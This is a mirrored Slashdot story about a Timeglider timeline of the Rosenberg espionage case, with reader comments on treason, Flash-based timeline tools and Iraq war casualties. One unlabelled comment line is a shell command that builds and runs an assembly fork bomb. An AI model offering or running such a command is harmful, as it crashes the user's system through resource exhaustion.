Slashdot Mirror
Timeglider Software Outlines Rosenberg Spy Case
An anonymous reader writes "Related to the previous story on Slashdot on the release of the Vassiliev Notebooks: the Cold War project has created a timeline on the Rosenberg spy ring (using Timeglider — a web-based, Flash-powered software for creating timelines), integrating the documentation from the Venona Intercepts, the FBI files related to industrial and atomic espionage, the Rosenberg trial papers and the Vassiliev notebooks in a easy-to-digest, complete picture of the evidence on the Rosenberg's involvement in atomic espionage. It can be accessed via the project's webpage. The use of Timeglider makes understanding the complex nature of the case and the newly available documentation more manageable."
It was a queer, sultry summer, the summer they electrocuted the Rosenbergs, and I didn't know what I was doing in New York.
Treason is to act against your own countrymen in the service of another country. But is that really what it boils down to when you prevent more deaths through dissemination of state secrets? Is it really an offense worthy of death to act according to your own morality?
Meh. What the Rosenbergs did - giving atomic secrets to a hostile tyranny is treason. I'm no fan of the death penalty, but it's definitely a serious crime. And I'm sure if the sort of people the Rosenbergs had favoured had ended up running the country there would have been a lot more people executed under treason charges who were just 'acting under their own morality', treason being a popular though spurious charge in Stalinist show trials.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
(using Timeglider â" a web-based, flash powered, software for creating timelines) ... The use of Timeglider makes understanding the complex nature of the case, and the newly available documentation more manageable."
Yes we get the picture
Doesn't seem to work very well. Maybe I'm doing it wrong, but it didn't do anything to enhance my experience or make the information easier to digest. If anything, it made it more confusing and less informative.
... and then they built the supercollider.
Consider the following far-more-useful timeline presentations...
http://newstimeline.googlelabs.com/ ...The shame of it all is that Timeglider fails to beat the above three technologies, and NONE of them use Flash.
http://simile.mit.edu/timeline/examples/religions/religions.html
http://www.timerime.com/
Let me help you. What he meant was, that more people had died in the war which ensued following the US invasion of Iraq than had died in peacetime under Saddam's regime. He's right.
If you believe Amnesty International's figures, there were fewer than 200 hangings in Iraq per year before the invasion (some might say that's enough), and even as his regime responded to uprisings, they killed fewer Iraqis than were killed as a direct result of the US invasion.
The difference is that when Saddam's regime killed people to put down the uprising, the US called it a massacre. When the US killed thousands of Iraqis during and since the invasion to suppress opposition, it is described as a necessary but tragic consequence of ridding Iraq of a dictator.
I am not an admirer of Saddam or his yobbish sons, but the story is not as clear cut as you would like to believe.